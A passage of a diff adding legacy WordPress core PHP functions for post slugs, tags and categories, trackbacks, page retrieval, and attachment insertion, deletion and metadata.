+ * @param string $post_status no uniqueness checks are made if the post is still draft or pending
+ * @param string $post_type
+ * @param integer $post_parent
+ * @return string unique slug for the post, based on $post_name (with a -1, -2, etc. suffix)
+ */
+function wp_unique_post_slug($slug, $post_ID, $post_status, $post_type, $post_parent) {
+	if ( in_array( $post_status, array( 'draft', 'pending' ) ) )
+		return $slug;
+	
+	global $wpdb, $wp_rewrite;
+	$hierarchical_post_types = apply_filters('hierarchical_post_types', array('page'));
+	if ( 'attachment' == $post_type ) {
+		// Attachment slugs must be unique across all types.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1";
+		$post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $slug, $post_ID));
+		
+		if ( $post_name_check || in_array($slug, $wp_rewrite->feeds) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = substr($slug, 0, 200-(strlen($suffix)+1)). "-$suffix";
+				$post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $alt_post_name, $post_ID));
+				$suffix++;
+			} while ($post_name_check);
+			$slug = $alt_post_name;
+		}
+	} elseif ( in_array($post_type, $hierarchical_post_types) ) {
+		// Page slugs must be unique within their own trees.  Pages are in a
+		// separate namespace than posts so page slugs are allowed to overlap post slugs.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( '" . implode("', '", $wpdb->escape($hierarchical_post_types)) . "' ) AND ID != %d AND post_parent = %d LIMIT 1";
+		$post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $slug, $post_ID, $post_parent));
+		
+		if ( $post_name_check || in_array($slug, $wp_rewrite->feeds) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = substr($slug, 0, 200-(strlen($suffix)+1)). "-$suffix";
+				$post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $alt_post_name, $post_ID, $post_parent));
+				$suffix++;
+			} while ($post_name_check);
+			$slug = $alt_post_name;
+		}
+	} else {
+		// Post slugs must be unique across all posts.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1";
+		$post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $slug, $post_type, $post_ID));
+		
+		if ( $post_name_check || in_array($slug, $wp_rewrite->feeds) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = substr($slug, 0, 200-(strlen($suffix)+1)). "-$suffix";
+				$post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $alt_post_name, $post_type, $post_ID));
+				$suffix++;
+			} while ($post_name_check);
+			$slug = $alt_post_name;
+		}
+	}
+
+	return $slug;
+}
+
+/**
+ * Adds tags to a post.
+ *
+ * @uses wp_set_post_tags() Same first two parameters, but the last parameter is always set to true.
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 2.3.0
+ *
+ * @param int $post_id Post ID
+ * @param string $tags The tags to set for the post, separated by commas.
+ * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise
+ */
+function wp_add_post_tags($post_id = 0, $tags = '') {
+	return wp_set_post_tags($post_id, $tags, true);
+}
+
+
+/**
+ * Set the tags for a post.
+ *
+ * @since 2.3.0
+ * @uses wp_set_object_terms() Sets the tags for the post.
+ *
+ * @param int $post_id Post ID.
+ * @param string $tags The tags to set for the post, separated by commas.
+ * @param bool $append If true, don't delete existing tags, just add on. If false, replace the tags with the new tags.
+ * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise
+ */
+function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) {
+	return wp_set_post_terms( $post_id, $tags, 'post_tag', $append);
+}
+
+/**
+ * Set the terms for a post.
+ *
+ * @since 2.8.0
+ * @uses wp_set_object_terms() Sets the tags for the post.
+ *
+ * @param int $post_id Post ID.
+ * @param string $tags The tags to set for the post, separated by commas.
+ * @param bool $append If true, don't delete existing tags, just add on. If false, replace the tags with the new tags.
+ * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise
+ */
+function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) {
+	$post_id = (int) $post_id;
+
+	if ( !$post_id )
+		return false;
+
+	if ( empty($tags) )
+		$tags = array();
+
+	$tags = is_array($tags) ? $tags : explode( ',', trim($tags, " \n\t\r\0\x0B,") );
+	wp_set_object_terms($post_id, $tags, $taxonomy, $append);
+}
+
+/**
+ * Set categories for a post.
+ *
+ * If the post categories parameter is not set, then the default category is
+ * going used.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_ID Post ID.
+ * @param array $post_categories Optional. List of categories.
+ * @return bool|mixed
+ */
+function wp_set_post_categories($post_ID = 0, $post_categories = array()) {
+	$post_ID = (int) $post_ID;
+	// If $post_categories isn't already an array, make it one:
+	if (!is_array($post_categories) || 0 == count($post_categories) || empty($post_categories))
+		$post_categories = array(get_option('default_category'));
+	else if ( 1 == count($post_categories) && '' == $post_categories[0] )
+		return true;
+
+	$post_categories = array_map('intval', $post_categories);
+	$post_categories = array_unique($post_categories);
+
+	return wp_set_object_terms($post_ID, $post_categories, 'category');
+}
+
+/**
+ * Transition the post status of a post.
+ *
+ * Calls hooks to transition post status.
+ *
+ * The first is 'transition_post_status' with new status, old status, and post data.
+ *
+ * The next action called is 'OLDSTATUS_to_NEWSTATUS' the 'NEWSTATUS' is the
+ * $new_status parameter and the 'OLDSTATUS' is $old_status parameter; it has the
+ * post data.
+ *
+ * The final action is named 'NEWSTATUS_POSTTYPE', 'NEWSTATUS' is from the $new_status
+ * parameter and POSTTYPE is post_type post data.
+ *
+ * @since 2.3.0
+ * @link http://codex.wordpress.org/Post_Status_Transitions
+ *
+ * @uses do_action() Calls 'transition_post_status' on $new_status, $old_status and
+ *  $post if there is a status change.
+ * @uses do_action() Calls '${old_status}_to_$new_status' on $post if there is a status change.
+ * @uses do_action() Calls '${new_status}_$post->post_type' on post ID and $post.
+ *
+ * @param string $new_status Transition to this post status.
+ * @param string $old_status Previous post status.
+ * @param object $post Post data.
+ */
+function wp_transition_post_status($new_status, $old_status, $post) {
+	do_action('transition_post_status', $new_status, $old_status, $post);
+	do_action("${old_status}_to_$new_status", $post);
+	do_action("${new_status}_$post->post_type", $post->ID, $post);
+}
+
+//
+// Trackback and ping functions
+//
+
+/**
+ * Add a URL to those already pung.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID.
+ * @param string $uri Ping URI.
+ * @return int How many rows were updated.
+ */
+function add_ping($post_id, $uri) {
+	global $wpdb;
+	$pung = $wpdb->get_var( $wpdb->prepare( "SELECT pinged FROM $wpdb->posts WHERE ID = %d", $post_id ));
+	$pung = trim($pung);
+	$pung = preg_split('/\s/', $pung);
+	$pung[] = $uri;
+	$new = implode("\n", $pung);
+	$new = apply_filters('add_ping', $new);
+	// expected_slashed ($new)
+	$new = stripslashes($new);
+	return $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post_id ) );
+}
+
+/**
+ * Retrieve enclosures already enclosed for a post.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID.
+ * @return array List of enclosures
+ */
+function get_enclosed($post_id) {
+	$custom_fields = get_post_custom( $post_id );
+	$pung = array();
+	if ( !is_array( $custom_fields ) )
+		return $pung;
+
+	foreach ( $custom_fields as $key => $val ) {
+		if ( 'enclosure' != $key || !is_array( $val ) )
+			continue;
+		foreach( $val as $enc ) {
+			$enclosure = split( "\n", $enc );
+			$pung[] = trim( $enclosure[ 0 ] );
+		}
+	}
+	$pung = apply_filters('get_enclosed', $pung);
+	return $pung;
+}
+
+/**
+ * Retrieve URLs already pinged for a post.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID.
+ * @return array
+ */
+function get_pung($post_id) {
+	global $wpdb;
+	$pung = $wpdb->get_var( $wpdb->prepare( "SELECT pinged FROM $wpdb->posts WHERE ID = %d", $post_id ));
+	$pung = trim($pung);
+	$pung = preg_split('/\s/', $pung);
+	$pung = apply_filters('get_pung', $pung);
+	return $pung;
+}
+
+/**
+ * Retrieve URLs that need to be pinged.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID
+ * @return array
+ */
+function get_to_ping($post_id) {
+	global $wpdb;
+	$to_ping = $wpdb->get_var( $wpdb->prepare( "SELECT to_ping FROM $wpdb->posts WHERE ID = %d", $post_id ));
+	$to_ping = trim($to_ping);
+	$to_ping = preg_split('/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY);
+	$to_ping = apply_filters('get_to_ping',  $to_ping);
+	return $to_ping;
+}
+
+/**
+ * Do trackbacks for a list of URLs.
+ *
+ * @since 1.0.0
+ *
+ * @param string $tb_list Comma separated list of URLs
+ * @param int $post_id Post ID
+ */
+function trackback_url_list($tb_list, $post_id) {
+	if ( ! empty( $tb_list ) ) {
+		// get post data
+		$postdata = wp_get_single_post($post_id, ARRAY_A);
+
+		// import postdata as variables
+		extract($postdata, EXTR_SKIP);
+
+		// form an excerpt
+		$excerpt = strip_tags($post_excerpt ? $post_excerpt : $post_content);
+
+		if (strlen($excerpt) > 255) {
+			$excerpt = substr($excerpt,0,252) . '...';
+		}
+
+		$trackback_urls = explode(',', $tb_list);
+		foreach( (array) $trackback_urls as $tb_url) {
+			$tb_url = trim($tb_url);
+			trackback($tb_url, stripslashes($post_title), $excerpt, $post_id);
+		}
+	}
+}
+
+//
+// Page functions
+//
+
+/**
+ * Get a list of page IDs.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ *
+ * @return array List of page IDs.
+ */
+function get_all_page_ids() {
+	global $wpdb;
+
+	if ( ! $page_ids = wp_cache_get('all_page_ids', 'posts') ) {
+		$page_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'page'");
+		wp_cache_add('all_page_ids', $page_ids, 'posts');
+	}
+
+	return $page_ids;
+}
+
+/**
+ * Retrieves page data given a page ID or page object.
+ *
+ * @since 1.5.1
+ *
+ * @param mixed $page Page object or page ID. Passed by reference.
+ * @param string $output What to output. OBJECT, ARRAY_A, or ARRAY_N.
+ * @param string $filter How the return value should be filtered.
+ * @return mixed Page data.
+ */
+function &get_page(&$page, $output = OBJECT, $filter = 'raw') {
+	if ( empty($page) ) {
+		if ( isset( $GLOBALS['page'] ) && isset( $GLOBALS['page']->ID ) ) {
+			return get_post($GLOBALS['page'], $output, $filter);
+		} else {
+			$page = null;
+			return $page;
+		}
+	}
+
+	$the_page = get_post($page, $output, $filter);
+	return $the_page;
+}
+
+/**
+ * Retrieves a page given its path.
+ *
+ * @since 2.1.0
+ * @uses $wpdb
+ *
+ * @param string $page_path Page path
+ * @param string $output Optional. Output type. OBJECT, ARRAY_N, or ARRAY_A.
+ * @return mixed Null when complete.
+ */
+function get_page_by_path($page_path, $output = OBJECT) {
+	global $wpdb;
+	$page_path = rawurlencode(urldecode($page_path));
+	$page_path = str_replace('%2F', '/', $page_path);
+	$page_path = str_replace('%20', ' ', $page_path);
+	$page_paths = '/' . trim($page_path, '/');
+	$leaf_path  = sanitize_title(basename($page_paths));
+	$page_paths = explode('/', $page_paths);
+	$full_path = '';
+	foreach( (array) $page_paths as $pathdir)
+		$full_path .= ($pathdir!=''?'/':'') . sanitize_title($pathdir);
+
+	$pages = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_name = %s AND (post_type = 'page' OR post_type = 'attachment')", $leaf_path ));
+
+	if ( empty($pages) )
+		return null;
+
+	foreach ($pages as $page) {
+		$path = '/' . $leaf_path;
+		$curpage = $page;
+		while ($curpage->post_parent != 0) {
+			$curpage = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE ID = %d and post_type='page'", $curpage->post_parent ));
+			$path = '/' . $curpage->post_name . $path;
+		}
+
+		if ( $path == $full_path )
+			return get_page($page->ID, $output);
+	}
+
+	return null;
+}
+
+/**
+ * Retrieve a page given its title.
+ *
+ * @since 2.1.0
+ * @uses $wpdb
+ *
+ * @param string $page_title Page title
+ * @param string $output Optional. Output type. OBJECT, ARRAY_N, or ARRAY_A.
+ * @return mixed
+ */
+function get_page_by_title($page_title, $output = OBJECT) {
+	global $wpdb;
+	$page = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type='page'", $page_title ));
+	if ( $page )
+		return get_page($page, $output);
+
+	return null;
+}
+
+/**
+ * Retrieve child pages from list of pages matching page ID.
+ *
+ * Matches against the pages parameter against the page ID. Also matches all
+ * children for the same to retrieve all children of a page. Does not make any
+ * SQL queries to get the children.
+ *
+ * @since 1.5.1
+ *
+ * @param int $page_id Page ID.
+ * @param array $pages List of pages' objects.
+ * @return array
+ */
+function &get_page_children($page_id, $pages) {
+	$page_list = array();
+	foreach ( (array) $pages as $page ) {
+		if ( $page->post_parent == $page_id ) {
+			$page_list[] = $page;
+			if ( $children = get_page_children($page->ID, $pages) )
+				$page_list = array_merge($page_list, $children);
+		}
+	}
+	return $page_list;
+}
+
+/**
+ * Order the pages with children under parents in a flat list.
+ *
+ * @since 2.0.0
+ *
+ * @param array $posts Posts array.
+ * @param int $parent Parent page ID.
+ * @return array A list arranged by hierarchy. Children immediately follow their parents.
+ */
+function get_page_hierarchy($posts, $parent = 0) {
+	$result = array ( );
+	if ($posts) { foreach ( (array) $posts as $post) {
+		if ($post->post_parent == $parent) {
+			$result[$post->ID] = $post->post_name;
+			$children = get_page_hierarchy($posts, $post->ID);
+			$result += $children; //append $children to $result
+		}
+	} }
+	return $result;
+}
+
+/**
+ * Builds URI for a page.
+ *
+ * Sub pages will be in the "directory" under the parent page post name.
+ *
+ * @since 1.5.0
+ *
+ * @param int $page_id Page ID.
+ * @return string Page URI.
+ */
+function get_page_uri($page_id) {
+	$page = get_page($page_id);
+	$uri = $page->post_name;
+
+	// A page cannot be it's own parent.
+	if ( $page->post_parent == $page->ID )
+		return $uri;
+
+	while ($page->post_parent != 0) {
+		$page = get_page($page->post_parent);
+		$uri = $page->post_name . "/" . $uri;
+	}
+
+	return $uri;
+}
+
+/**
+ * Retrieve a list of pages.
+ *
+ * The defaults that can be overridden are the following: 'child_of',
+ * 'sort_order', 'sort_column', 'post_title', 'hierarchical', 'exclude',
+ * 'include', 'meta_key', 'meta_value','authors', 'number', and 'offset'.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ *
+ * @param mixed $args Optional. Array or string of options that overrides defaults.
+ * @return array List of pages matching defaults or $args
+ */
+function &get_pages($args = '') {
+	global $wpdb;
+
+	$defaults = array(
+		'child_of' => 0, 'sort_order' => 'ASC',
+		'sort_column' => 'post_title', 'hierarchical' => 1,
+		'exclude' => '', 'include' => '',
+		'meta_key' => '', 'meta_value' => '',
+		'authors' => '', 'parent' => -1, 'exclude_tree' => '',
+		'number' => '', 'offset' => 0
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+	$number = (int) $number;
+	$offset = (int) $offset;
+
+	$cache = array();
+	$key = md5( serialize( compact(array_keys($defaults)) ) );
+	if ( $cache = wp_cache_get( 'get_pages', 'posts' ) ) {
+		if ( is_array($cache) && isset( $cache[ $key ] ) ) {
+			$pages = apply_filters('get_pages', $cache[ $key ], $r );
+			return $pages;
+		}
+	}
+
+	if ( !is_array($cache) )
+		$cache = array();
+
+	$inclusions = '';
+	if ( !empty($include) ) {
+		$child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include
+		$parent = -1;
+		$exclude = '';
+		$meta_key = '';
+		$meta_value = '';
+		$hierarchical = false;
+		$incpages = preg_split('/[\s,]+/',$include);
+		if ( count($incpages) ) {
+			foreach ( $incpages as $incpage ) {
+				if (empty($inclusions))
+					$inclusions = $wpdb->prepare(' AND ( ID = %d ', $incpage);
+				else
+					$inclusions .= $wpdb->prepare(' OR ID = %d ', $incpage);
+			}
+		}
+	}
+	if (!empty($inclusions))
+		$inclusions .= ')';
+
+	$exclusions = '';
+	if ( !empty($exclude) ) {
+		$expages = preg_split('/[\s,]+/',$exclude);
+		if ( count($expages) ) {
+			foreach ( $expages as $expage ) {
+				if (empty($exclusions))
+					$exclusions = $wpdb->prepare(' AND ( ID <> %d ', $expage);
+				else
+					$exclusions .= $wpdb->prepare(' AND ID <> %d ', $expage);
+			}
+		}
+	}
+	if (!empty($exclusions))
+		$exclusions .= ')';
+
+	$author_query = '';
+	if (!empty($authors)) {
+		$post_authors = preg_split('/[\s,]+/',$authors);
+
+		if ( count($post_authors) ) {
+			foreach ( $post_authors as $post_author ) {
+				//Do we have an author id or an author login?
+				if ( 0 == intval($post_author) ) {
+					$post_author = get_userdatabylogin($post_author);
+					if ( empty($post_author) )
+						continue;
+					if ( empty($post_author->ID) )
+						continue;
+					$post_author = $post_author->ID;
+				}
+
+				if ( '' == $author_query )
+					$author_query = $wpdb->prepare(' post_author = %d ', $post_author);
+				else
+					$author_query .= $wpdb->prepare(' OR post_author = %d ', $post_author);
+			}
+			if ( '' != $author_query )
+				$author_query = " AND ($author_query)";
+		}
+	}
+
+	$join = '';
+	$where = "$exclusions $inclusions ";
+	if ( ! empty( $meta_key ) || ! empty( $meta_value ) ) {
+		$join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )";
+
+		// meta_key and meta_value might be slashed
+		$meta_key = stripslashes($meta_key);
+		$meta_value = stripslashes($meta_value);
+		if ( ! empty( $meta_key ) )
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s", $meta_key);
+		if ( ! empty( $meta_value ) )
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_value = %s", $meta_value);
+
+	}
+
+	if ( $parent >= 0 )
+		$where .= $wpdb->prepare(' AND post_parent = %d ', $parent);
+
+	$query = "SELECT * FROM $wpdb->posts $join WHERE (post_type = 'page' AND post_status = 'publish') $where ";
+	$query .= $author_query;
+	$query .= " ORDER BY " . $sort_column . " " . $sort_order ;
+
+	if ( !empty($number) )
+		$query .= ' LIMIT ' . $offset . ',' . $number;
+
+	$pages = $wpdb->get_results($query);
+
+	if ( empty($pages) ) {
+		$pages = apply_filters('get_pages', array(), $r);
+		return $pages;
+	}
+
+	// Update cache.
+	update_page_cache($pages);
+
+	if ( $child_of || $hierarchical )
+		$pages = & get_page_children($child_of, $pages);
+
+	if ( !empty($exclude_tree) ) {
+		$exclude = array();
+
+		$exclude = (int) $exclude_tree;
+		$children = get_page_children($exclude, $pages);
+		$excludes = array();
+		foreach ( $children as $child )
+			$excludes[] = $child->ID;
+		$excludes[] = $exclude;
+		$total = count($pages);
+		for ( $i = 0; $i < $total; $i++ ) {
+			if ( in_array($pages[$i]->ID, $excludes) )
+				unset($pages[$i]);
+		}
+	}
+
+	$cache[ $key ] = $pages;
+	wp_cache_set( 'get_pages', $cache, 'posts' );
+
+	$pages = apply_filters('get_pages', $pages, $r);
+
+	return $pages;
+}
+
+//
+// Attachment functions
+//
+
+/**
+ * Check if the attachment URI is local one and is really an attachment.
+ *
+ * @since 2.0.0
+ *
+ * @param string $url URL to check
+ * @return bool True on success, false on failure.
+ */
+function is_local_attachment($url) {
+	if (strpos($url, get_bloginfo('url')) === false)
+		return false;
+	if (strpos($url, get_bloginfo('url') . '/?attachment_id=') !== false)
+		return true;
+	if ( $id = url_to_postid($url) ) {
+		$post = & get_post($id);
+		if ( 'attachment' == $post->post_type )
+			return true;
+	}
+	return false;
+}
+
+/**
+ * Insert an attachment.
+ *
+ * If you set the 'ID' in the $object parameter, it will mean that you are
+ * updating and attempt to update the attachment. You can also set the
+ * attachment name or title by setting the key 'post_name' or 'post_title'.
+ *
+ * You can set the dates for the attachment manually by setting the 'post_date'
+ * and 'post_date_gmt' keys' values.
+ *
+ * By default, the comments will use the default settings for whether the
+ * comments are allowed. You can close them manually or keep them open by
+ * setting the value for the 'comment_status' key.
+ *
+ * The $object parameter can have the following:
+ *     'post_status'   - Default is 'draft'. Can not be overridden, set the same as parent post.
+ *     'post_type'     - Default is 'post', will be set to attachment. Can not override.
+ *     'post_author'   - Default is current user ID. The ID of the user, who added the attachment.
+ *     'ping_status'   - Default is the value in default ping status option. Whether the attachment
+ *                       can accept pings.
+ *     'post_parent'   - Default is 0. Can use $parent parameter or set this for the post it belongs
+ *                       to, if any.
+ *     'menu_order'    - Default is 0. The order it is displayed.
+ *     'to_ping'       - Whether to ping.
+ *     'pinged'        - Default is empty string.
+ *     'post_password' - Default is empty string. The password to access the attachment.
+ *     'guid'          - Global Unique ID for referencing the attachment.
+ *     'post_content_filtered' - Attachment post content filtered.
+ *     'post_excerpt'  - Attachment excerpt.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ * @uses $user_ID
+ * @uses do_action() Calls 'edit_attachment' on $post_ID if this is an update.
+ * @uses do_action() Calls 'add_attachment' on $post_ID if this is not an update.
+ *
+ * @param string|array $object Arguments to override defaults.
+ * @param string $file Optional filename.
+ * @param int $post_parent Parent post ID.
+ * @return int Attachment ID.
+ */
+function wp_insert_attachment($object, $file = false, $parent = 0) {
+	global $wpdb, $user_ID;
+
+	$defaults = array('post_status' => 'draft', 'post_type' => 'post', 'post_author' => $user_ID,
+		'ping_status' => get_option('default_ping_status'), 'post_parent' => 0,
+		'menu_order' => 0, 'to_ping' =>  '', 'pinged' => '', 'post_password' => '',
+		'guid' => '', 'post_content_filtered' => '', 'post_excerpt' => '', 'import_id' => 0);
+
+	$object = wp_parse_args($object, $defaults);
+	if ( !empty($parent) )
+		$object['post_parent'] = $parent;
+
+	$object = sanitize_post($object, 'db');
+
+	// export array as variables
+	extract($object, EXTR_SKIP);
+
+	// Make sure we set a valid category
+	if ( !isset($post_category) || 0 == count($post_category) || !is_array($post_category)) {
+		$post_category = array(get_option('default_category'));
+	}
+
+	if ( empty($post_author) )
+		$post_author = $user_ID;
+
+	$post_type = 'attachment';
+	$post_status = 'inherit';
+
+	// Are we updating or creating?
+	if ( !empty($ID) ) {
+		$update = true;
+		$post_ID = (int) $ID;
+	} else {
+		$update = false;
+		$post_ID = 0;
+	}
+
+	// Create a valid post name.
+	if ( empty($post_name) )
+		$post_name = sanitize_title($post_title);
+	else
+		$post_name = sanitize_title($post_name);
+
+	// expected_slashed ($post_name)
+	$post_name = wp_unique_post_slug($post_name, $post_ID, $post_status, $post_type, $post_parent);
+
+	if ( empty($post_date) )
+		$post_date = current_time('mysql');
+	if ( empty($post_date_gmt) )
+		$post_date_gmt = current_time('mysql', 1);
+
+	if ( empty($post_modified) )
+		$post_modified = $post_date;
+	if ( empty($post_modified_gmt) )
+		$post_modified_gmt = $post_date_gmt;
+
+	if ( empty($comment_status) ) {
+		if ( $update )
+			$comment_status = 'closed';
+		else
+			$comment_status = get_option('default_comment_status');
+	}
+	if ( empty($ping_status) )
+		$ping_status = get_option('default_ping_status');
+
+	if ( isset($to_ping) )
+		$to_ping = preg_replace('|\s+|', "\n", $to_ping);
+	else
+		$to_ping = '';
+
+	if ( isset($post_parent) )
+		$post_parent = (int) $post_parent;
+	else
+		$post_parent = 0;
+
+	if ( isset($menu_order) )
+		$menu_order = (int) $menu_order;
+	else
+		$menu_order = 0;
+
+	if ( !isset($post_password) )
+		$post_password = '';
+
+	if ( ! isset($pinged) )
+		$pinged = '';
+
+	// expected_slashed (everything!)
+	$data = compact( array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' ) );
+	$data = stripslashes_deep( $data );
+
+	if ( $update ) {
+		$wpdb->update( $wpdb->posts, $data, array( 'ID' => $post_ID ) );
+	} else {
+		// If there is a suggested ID, use it if not already present
+		if ( !empty($import_id) ) {
+			$import_id = (int) $import_id;
+			if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) {
+				$data['ID'] = $import_id;
+			}
+		}
+
+		$wpdb->insert( $wpdb->posts, $data );
+		$post_ID = (int) $wpdb->insert_id;
+	}
+
+	if ( empty($post_name) ) {
+		$post_name = sanitize_title($post_title, $post_ID);
+		$wpdb->update( $wpdb->posts, compact("post_name"), array( 'ID' => $post_ID ) );
+	}
+
+	wp_set_post_categories($post_ID, $post_category);
+
+	if ( $file )
+		update_attached_file( $post_ID, $file );
+
+	clean_post_cache($post_ID);
+
+	if ( $update) {
+		do_action('edit_attachment', $post_ID);
+	} else {
+		do_action('add_attachment', $post_ID);
+	}
+
+	return $post_ID;
+}
+
+/**
+ * Delete an attachment.
+ *
+ * Will remove the file also, when the attachment is removed. Removes all post
+ * meta fields, taxonomy, comments, etc associated with the attachment (except
+ * the main post).
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ * @uses do_action() Calls 'delete_attachment' hook on Attachment ID.
+ *
+ * @param int $postid Attachment ID.
+ * @return mixed False on failure. Post data on success.
+ */
+function wp_delete_attachment($postid) {
+	global $wpdb;
+
+	if ( !$post = $wpdb->get_row(  $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $postid)) )
+		return $post;
+
+	if ( 'attachment' != $post->post_type )
+		return false;
+
+	$meta = wp_get_attachment_metadata( $postid );
+	$file = get_attached_file( $postid );
+
+	do_action('delete_attachment', $postid);
+
+	/** @todo Delete for pluggable post taxonomies too */
+	wp_delete_object_term_relationships($postid, array('category', 'post_tag'));
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->comments WHERE comment_post_ID = %d", $postid ));
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE post_id = %d ", $postid ));
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->posts WHERE ID = %d", $postid ));
+
+	$uploadPath = wp_upload_dir();
+
+	if ( ! empty($meta['thumb']) ) {
+		// Don't delete the thumb if another attachment uses it
+		if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%'.$meta['thumb'].'%', $postid)) ) {
+			$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
+			$thumbfile = apply_filters('wp_delete_file', $thumbfile);
+			@ unlink( path_join($uploadPath['basedir'], $thumbfile) );
+		}
+	}
+
+	// remove intermediate images if there are any
+	$sizes = apply_filters('intermediate_image_sizes', array('thumbnail', 'medium', 'large'));
+	foreach ( $sizes as $size ) {
+		if ( $intermediate = image_get_intermediate_size($postid, $size) ) {
+			$intermediate_file = apply_filters('wp_delete_file', $intermediate['path']);
+			@ unlink( path_join($uploadPath['basedir'], $intermediate_file) );
+		}
+	}
+
+	$file = apply_filters('wp_delete_file', $file);
+
+	if ( ! empty($file) )
+		@ unlink($file);
+
+	clean_post_cache($postid);
+
+	return $post;
+}
+
+/**
+ * Retrieve attachment meta field for attachment ID.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Attachment ID
+ * @param bool $unfiltered Optional, default is false. If true, filters are not run.
+ * @return string|bool Attachment meta field. False on failure.
+ */
+function wp_get_attachment_metadata( $post_id, $unfiltered = false ) {
+	$post_id = (int) $post_id;
+	if ( !$post =& get_post( $post_id ) )
+		return false;
+
+	$data = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
+	if ( $unfiltered )
+		return $data;
+	return apply_filters( 'wp_get_attachment_metadata', $data, $post->ID );
+}
+
+/**
+ * Update metadata for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Attachment ID.
+ * @param array $data Attachment data.
+ * @return int
+ */
+function wp_update_attachment_metadata( $post_id, $data ) {
+	$post_id = (int) $post_id;
+	if ( !$post =& get_post( $post_id ) )
+		return false;
+
+	$data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID );
+
+	return update_post_meta( $post->ID, '_wp_attachment_metadata', $data);
+}
+
+/**
+ * Retrieve the URL for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Attachment ID.
+ * @return string
+ */
+function wp_get_attachment_url( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post =& get_post( $post_id ) )
+		return false;
+
+	$url = '';
+	if ( $file = get_post_meta( $post->ID, '_wp_attached_file', true) ) { //Get attached file
+		if ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) { //Get upload directory
+			if ( 0 === strpos($file, $uploads['basedir']) ) //Check that the upload base exists in the file location
+				$url = str_replace($uploads['basedir'], $uploads['baseurl'], $file); //replace file location with url location
+			elseif ( false !== strpos($file, 'wp-content/uploads') )
+				$url = $uploads['baseurl'] . substr( $file, strpos($file, 'wp-content/uploads') + 18 );
+			else
+				$url = $uploads['baseurl'] . "/$file"; //Its a newly uploaded file, therefor $file is relative to the basedir.
+		}
+	}
+
+	if ( empty($url) ) //If any of the above options failed, Fallback on the GUID as used pre-2.7, not recomended to rely upon this.
+		$url = get_the_guid( $post->ID );
+
+	if ( 'attachment' != $post->post_type || empty($url) )
+		return false;
+
+	return apply_filters( 'wp_get_attachment_url', $url, $post->ID );
+}
+
+/**
+ * Retrieve thumbnail for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Attachment ID.
+ * @return mixed False on failure. Thumbnail file path on success.
+ */
+function wp_get_attachment_thumb_file( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post =& get_post( $post_id ) )
+		return false;
+	if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
+		return false;
+
+	$file = get_attached_file( $post->ID );
